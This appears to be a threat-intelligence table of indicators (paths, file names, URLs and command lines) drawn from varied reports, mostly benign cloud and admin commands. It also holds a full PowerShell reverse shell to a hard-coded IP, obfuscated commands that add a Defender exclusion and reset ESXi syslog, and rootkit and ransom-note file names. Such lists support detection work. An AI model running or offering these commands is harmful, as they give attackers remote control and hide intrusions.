 | directory | $($a.Path) | | |
| directory | $($ENV:ExchangeInstallPath)\bin | | |
 | file | Filename: __$$RECOVERY_README$$__.html | | |
 | url | /$/1 | | |
| file | Filename: $77_Install.exe | | |
| file | Filename: $77_loader.exe | | |
| file | Filename: $77_Loader.exe | | |
| file | Filename: $77_oracle.exe | | |
 | process | $ adb shell am start -a android.intent.action.VIEW -d "market://details?id=com.google.android.webview" | | |
| process | $ adb shell cmd webviewupdate disable-multiprocess | | |
| process | $ adb shell dumpsys webviewupdate | | |
| process | $ adb shell ps -A | grep -iE "nviso|webview" | | |
| process | $adminslist | out-gridview | | |
| process | $adminuser = get-mguser -userid $m.id | | |
| process | $AllMFADetails = Get-MgBetaReportAuthenticationMethodUserRegistrationDetail -All | | |
| process | $AllUsers = Get-MgUser -All -Property Id, DisplayName, UserPrincipalName, AccountEnabled, SignInActivity | Where-Object { $_.AccountEnabled -eq $true } | | |
| directory | $APPDATA\Embarcadero | | |
| directory | $appdata\Microsoft\Windows | | |
| directory | $appdata\WindowsHelper | | |
| process | $assets = Invoke-Monkey365@param | | |
| process | $(awk 'BEGIN{printf "%c%c%c%c%c%c",101,115,120,99,108,105}') system syslog config set --reset=loghost | | |
| process | $ aws bedrock-agentcore-control create-workload-identity --name "ec2-github-demo-agent" | | |
| process | $./aws_recipes_assume_role.py --profile isecpartners --role-arn arn:aws:iam::AWS_ACCOUNT_ID:role/IAM-Scout2 --role-session-name Scout2 | | |
| process | $ aws sts get-caller-identity | | |
| process | $ base64 -D | hexdump | | |
| process | $BaseAddress = NtQueryInformationThread -ThreadHandle $hThread | | |
| process | $ bindeps() { echo "$1" $(ldd "$1" | sed -nre "s/^[^/]*(\/.*)\(0x.*\)$/\1/p"); } | | |
| process | $ bindeps `which strace` | | |
| url | /$/boot | | |
| directory | $CASDOOR/files/ | | |
| process | $ cd autochrome | | |
| process | $ cd docker-misp | | |
| process | $ cd ScoutSuite | | |
| process | $ cf k2 streams create --name app_events --http-enabled | | |
| process | $client = New-Object System.Net.Sockets.TcpClient("95.111.250.175",4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (powershell -c "$data" 2>&1 | Out-String)
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
} | | |
| process | $cls = Get-ComClass -Clsid 135fd325-45b7-4c30-89f8-4386961669f0 | | |
| process | $(cmd) | | |
| process | $cmd = "echo -n '".$vault_password."' | ansible-vault encrypt --vault-password-file=".$job_dir.'/.vp'." ".$job_file." --output ".$job_file; | | |
| directory | $CODEX_HOME | | |
| process | $ConcreteDataStructure=[char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]101;$s=[char]()+[char]101+[char]120+[char]101;&($ConcreteDataStructure) -ExclusionExtension $s -Force; | | |
| process | $cs = Get-ComClass -Database $db -ServerType InProcServer32 | | |
| process | $cs | ? { -not (Test-ComServer $_.DefaultServer) } | Sort DefaultServer | Select Name, DefaultServer | | |
| process | $ curl https://unshorten.me/json/tinyurl.com/2erph6cs | | |
| process | $ curl -iX POST "https://api.cloudflare.com/client/v4/accounts/$CLOUDFLARE_ACCOUNT_ID/ai/run" --header "Authorization:Bearer $CLOUDFLARE_API_TOKEN" --header "Payment-Method:x402" --header "Content-Type:application/json" --data '{
"model":"z-ai/glm-4.7-flash",
"input":{
"max_tokens":9001,
"messages":[
{
"role":"user",
"content":"What is Cloudflare?"
}
]
}
}' | | |
| process | $ curl -iX POST https://v2.api2pdf.com/chrome/pdf/html --header "Content-Type:application/json" --data '{"html":"<p>Hello from an AI agent</p>"}' | | |
| process | $ curl -X POST "https://4d8f5394e3e733debdeca9c65c5b7439.k2.cloudflarestorage.com/subscriptions/ee13f761783d3823a447a47b572ebf76/consume" -H "Authorization:Bearer ${CLOUDFLARE_API_TOKEN}" -H "Content-Type:application/json" --data '{"worker_id":"analytics-1","max_records":100}' | | |
| process | $ curl -X POST "https://d78b09ee1f50430e9ec92a8af92b0231.k2.cloudflarestorage.com/subscriptions" -H "Authorization:Bearer ${CLOUDFLARE_API_TOKEN}" -H "Content-Type:application/json" --data '{"name":"analytics_processor","start_at":{"type":"earliest"}}' | | |
| process | $ curl -X POST "https://d78b09ee1f50430e9ec92a8af92b0231.k2.cloudflarestorage.com/subscriptions/ee13f761783d3823a447a47b572ebf76/batches/b7e4c9210a3f468d95c2e1068fdb734a/ack" -H "Authorization:Bearer ${CLOUDFLARE_API_TOKEN}" -H "Content-Type:application/json" --data '{"worker_id":"analytics-1"}' | | |
| directory | $D | | |
| directory | $D/.4dai8ovb | | |
